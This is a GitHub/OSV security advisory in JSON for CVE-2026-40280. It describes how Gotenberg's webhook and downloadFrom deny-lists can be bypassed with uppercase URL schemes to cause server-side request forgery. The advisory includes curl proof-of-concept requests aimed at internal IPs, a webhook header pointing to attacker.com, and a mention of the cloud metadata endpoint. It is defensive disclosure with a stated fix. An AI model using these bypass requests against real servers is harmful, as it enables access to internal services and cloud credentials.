CVE-2026-40280: Github.com/gotenberg/gotenberg/v8 Gotenberg Has Case-insensitive URL Scheme Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5q7p-7jgv-ww56",
  "modified" : "2026-05-08T15:31:30Z",
  "published" : "2026-04-30T17:19:49Z",
  "aliases" : [ "CVE-2026-40280" ],
  "summary" : "Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection",
  "details" : "## Vulnerability Details\n\n**CWE**: CWE-918 - Server-Side Request Forgery (SSRF)\n\nThe default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.\n\n## Summary\n\nThe default private-IP deny-lists for `--webhook-deny-list` and `--api-download-from-deny-list` use a case-sensitive regex (`^https?://`). Any uppercase URL scheme variant (`HTTP://`, `HTTPS://`, `Http://`) bypasses the pattern. Go's `net/url.Parse()` normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.\n\nThe same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.\n\n**Affected file/function**: `pkg/gotenberg/filter.go:FilterDeadline()`, `pkg/modules/webhook/webhook.go:42` (default regex), `pkg/modules/api/api.go:199` (default regex)\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8\n\n2. Baseline — lowercase http:// is blocked (HTTP 403):\n   curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n     -H \"Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback\" \\\n     -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n     -F \"url=https://example.com/\"\n\n3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):\n   curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n     -H \"Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback\" \\\n     -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n     -F \"url=https://example.com/\"\n   # Returns 202 + Gotenberg logs: \"Post \\\"http://172.17.0.1:12345/callback\\\": connection refused\"\n\n4. downloadFrom bypass (response content included in PDF):\n   curl -s -w \"\\nHTTP %{http_code}\" http://localhost:3001/forms/chromium/convert/html \\\n     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \\\n     -F 'downloadFrom=[{\"url\":\"HTTP://172.17.0.1:12345/secret.html\"}]' <<< '<html><body>test</body></html>'\n   # Error is \"Unable to download file\" (connection refused), not \"filter URL\" — bypass confirmed\n```\n\n## Impact\n\nAn unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The `downloadFrom` SSRF can exfiltrate content from internal services that respond with `Content-Disposition` headers. In cloud environments, this could allow access to instance metadata services (e.g., `HTTP://169.254.169.254/latest/meta-data/`). This bypasses the same security control that was patched in CVE-2026-27018.\n\n## Fix\n\nNormalize the URL scheme to lowercase before passing to `FilterDeadline`, or compile deny-list regexes with the case-insensitive flag (`(?i)`).\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.31.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.30.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40280"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-jjwv-57xh-xr6r"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-30T17:19:49Z",
    "nvd_published_at" : "2026-05-05T20:16:38Z"
  }
}